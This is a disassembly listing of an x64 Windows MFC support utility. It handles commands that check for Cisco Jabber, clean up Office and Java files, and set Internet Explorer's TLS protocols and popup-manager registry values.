lea rcx, [rsp + 0xe8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x21f0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x21f8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xdb8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xdc0]
jmp 0x1400ac273
xor r8d, r8d
lea rdx, str.12.0
lea rcx, [rsp + 0xe8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ac279
lea rdx, str.AppDataLocalMicrosoftOffice12.0OfficeFileCache
lea rcx, [rsp + 0xdd0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, str.C:Users_
lea rcx, [rsp + 0xdc8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea r8, [rsp + 0x1d0]
lea rdx, [rsp + 0xdc8]
lea rcx, [rsp + 0x2208]
call fcn.140006490
nop
lea r8, [rsp + 0xdd0]
mov rdx, rax
lea rcx, [rsp + 0x2200]
call fcn.140006490
nop
mov rdx, rax
lea rcx, [rsp + 0xe8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2200]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x2208]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xdc8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xdd0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rcx, [rsp + 0xe8]
call qword [sym.imp.mfc140u.dll_CDumpContext::operator___1]
mov rcx, rax
call fcn.1400e44b0
nop
lea rcx, [rsp + 0x2210]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xdd8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xe8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xde0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xde8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x1d0]
jmp 0x14009d7a2
xor r8d, r8d
lea rdx, str.IsCiscoJabberInstalled
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ac393
lea rdx, str.C:Program_Files__x86_Cisco_SystemsCisco_JabberCiscoJabber.exe
lea rcx, [rsp + 0x540]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
lea rdx, [rsp + 0x540]
lea rcx, [rsp + 0x2218]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
movzx ebx, al
test al, al
jne 0x1400ac37d
lea r8, str.Program_Files
lea rdx, str.Program_Files__x86_
lea rcx, [rsp + 0x540]
call qword [sym.imp.mfc140u.dll_CMFCToolBar::RebuildAccelerationKeys]
lea rdx, [rsp + 0x540]
lea rcx, [rsp + 0x2220]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rcx, rax
call fcn.1400fbb40
movzx ebx, al
lea rcx, [rsp + 0x540]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
movzx esi, bl
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.advancedcleanup
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ac7fc
xor edx, edx
lea rcx, [rsp + 0x7a70]
call fcn.140008270
nop
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
lea rcx, [rsp + 0x4b0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor r8d, r8d
lea rdx, [0x14015eb18]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2228]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2228]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x2230]
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2230]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
mov rdx, r14
lea rcx, [rsp + 0xf0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
xor r8d, r8d
lea rdx, str.advancedcleanup
lea rcx, [rsp + 0xf0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ac5b4
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0xf0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0xf0]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2238]
lea rcx, [rsp + 0xf0]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0xf0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2238]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0xf0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x2240]
lea rcx, [rsp + 0xf0]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0xf0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2240]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, [rsp + 0xf0]
lea rcx, [rsp + 0x4b0]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
xor r8d, r8d
lea rdx, str.JavaClean
lea rcx, [rsp + 0x4b0]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ecx, dword [rsp + 0x95e4]
mov edi, 1
test eax, eax
cmovns ecx, edi
mov dword [rsp + 0x95e4], ecx
xor r8d, r8d
lea rdx, [0x140170660]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400ac6f0
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2248]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2248]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015ed0c]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov ebx, eax
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_CMFCPropertyGridProperty::GetHierarchyLevel]
sub eax, ebx
lea r8d, [rax - 1]
lea rdx, [rsp + 0x2250]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_Ordinal_12600]
nop
mov rdx, rax
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2250]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
xor r8d, r8d
lea rdx, [0x14015e858]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
mov r8d, eax
lea rdx, [rsp + 0x2258]
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_CStringList::InsertBefore]
nop
mov rdx, rax
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_Ordinal_1501]
nop
lea rcx, [rsp + 0x2258]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
lea rdx, str.ShowMessage
lea rcx, [rsp + 0xa8]
call fcn.14000d8d0
test al, al
je 0x1400ac737
lea rax, [rsp + 0x2260]
mov qword [rsp + 0x58], rax
lea rdx, str.MsgParameter
lea rcx, [rsp + 0x2260]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
mov rbx, rax
lea rcx, [rsp + 0x2268]
jmp 0x1400ac764
lea rax, [rsp + 0x2270]
mov qword [rsp + 0x58], rax
lea rdx, [0x140150ad0]
lea rcx, [rsp + 0x2270]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__1]
mov rbx, rax
lea rcx, [rsp + 0x2278]
lea rdx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov r8, rbx
mov rdx, rax
lea rcx, [rsp + 0x7a70]
call fcn.1400b7280
lea rdx, [rsp + 0x4b0]
lea rcx, [rsp + 0x2280]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
lea rcx, [rsp + 0x7a70]
call fcn.1400b7460
lea rcx, [rsp + 0x7a70]
call sub.mfc140u.dll_CD2DPathGeometry::Detach
test rax, rax
sete sil
lea rcx, [rsp + 0xf0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x4b0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0xa8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x7a70]
call fcn.1400086b0
jmp 0x1400acb92
xor r8d, r8d
lea rdx, str.changeIESettings
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400aca30
lea rcx, [rsp + 0x2b8]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x2c0]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
xor edx, edx
lea ecx, [rdx + 1]
call fcn.1400e51f0
lea rdx, str.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsSecureProtocols
lea rcx, [rsp + 0x2b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rax, [rsp + 0x2288]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x2290]
mov qword [rsp + 0x70], rax
lea rdx, str.DWORD
lea rcx, [rsp + 0x2288]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rdi, rax
lea rdx, str.2688
lea rcx, [rsp + 0x2290]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, [rsp + 0x2b8]
lea rcx, [rsp + 0x2298]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400de890
mov edi, eax
test eax, eax
je 0x1400ac92a
lea rdx, str.Failed_to_update_the_registry_SecureProtocols
lea rcx, [rsp + 0x2c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rax, [rsp + 0x22a0]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x22a0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.setInternetExplorerAsRecommanded_KB_11517
lea rcx, [rsp + 0x22a8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
lea rdx, str.HKEY_CURRENT_USERSoftwareMicrosoftInternet_ExplorerNew_WindowsPopupMgr
lea rcx, [rsp + 0x2b8]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rax, [rsp + 0x22b0]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x22b8]
mov qword [rsp + 0x70], rax
lea rdx, str.DWORD
lea rcx, [rsp + 0x22b0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rdi, rax
lea rdx, [0x140156970]
lea rcx, [rsp + 0x22b8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, [rsp + 0x2b8]
lea rcx, [rsp + 0x22c0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400de890
mov edi, eax
test eax, eax
je 0x1400aca14
lea rdx, str._Failed_to_update_the_registry_PopupMgr
lea rcx, [rsp + 0x2c0]
call qword [sym.imp.mfc140u.dll_COleCurrency::operator]
lea rax, [rsp + 0x22c8]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x2c0]
lea rcx, [rsp + 0x22c8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.setInternetExplorerAsRecommanded_KB_11517
lea rcx, [rsp + 0x22d0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x2c0]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x2b8]
jmp 0x14009d7a2
xor r8d, r8d
lea rdx, str.changeTLSSetting
lea rcx, [rsp + 0x50]
call qword [sym.imp.mfc140u.dll_CDocObjectServer::XOleObject::EnumAdvise]
test eax, eax
js 0x1400acb71
lea rcx, [rsp + 0x720]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rcx, [rsp + 0x718]
call qword [sym.imp.mfc140u.dll_Ordinal_296]
nop
lea rdx, str.HKEY_CURRENT_USERSoftwareMicrosoftWindowsCurrentVersionInternet_SettingsSecureProtocols
lea rcx, [rsp + 0x720]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rax, [rsp + 0x22d8]
mov qword [rsp + 0x58], rax
lea rax, [rsp + 0x22e0]
mov qword [rsp + 0x70], rax
lea rdx, str.DWORD
lea rcx, [rsp + 0x22d8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rdi, rax
lea rdx, str.2688
lea rcx, [rsp + 0x22e0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
mov rbx, rax
lea rdx, [rsp + 0x720]
lea rcx, [rsp + 0x22e8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
nop
mov r8, rdi
mov rdx, rbx
mov rcx, rax
call fcn.1400de890
mov edi, eax
test eax, eax
je 0x1400acb55
lea rdx, str.Failed_to_update_the_registry_SecureProtocols
lea rcx, [rsp + 0x718]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XPanel::XPanel]
lea rax, [rsp + 0x22f0]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x718]
lea rcx, [rsp + 0x22f0]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rbx, rax
lea rdx, str.setInternetExplorerAsRecommanded_KB_11517
lea rcx, [rsp + 0x22f8]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__3]
nop
mov r8d, edi
mov rdx, rbx
mov rcx, rax
call fcn.14010a9a0
nop
lea rcx, [rsp + 0x718]
call qword [sym.imp.mfc140u.dll_CMFCRibbonInfo::XElementButtonGallery::XGalleryGroup::XGalleryGroup]
nop
lea rcx, [rsp + 0x720]
jmp 0x14009d7a2
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x2300]
call qword [sym.imp.mfc140u.dll_ATL::CStringT_wchar_t_StrTraitMFC_DLL_wchar_t_ATL::ChTraitsCRT_wchar_t__4]
mov rdx, rax
mov rcx, r13
call fcn.1400b0160
movzx esi, al
mov r14, qword [rsp + 0x68]
mov rdi, qword [rsp + 0x60]
test sil, sil
je 0x14009cc77
jmp 0x14009d7b2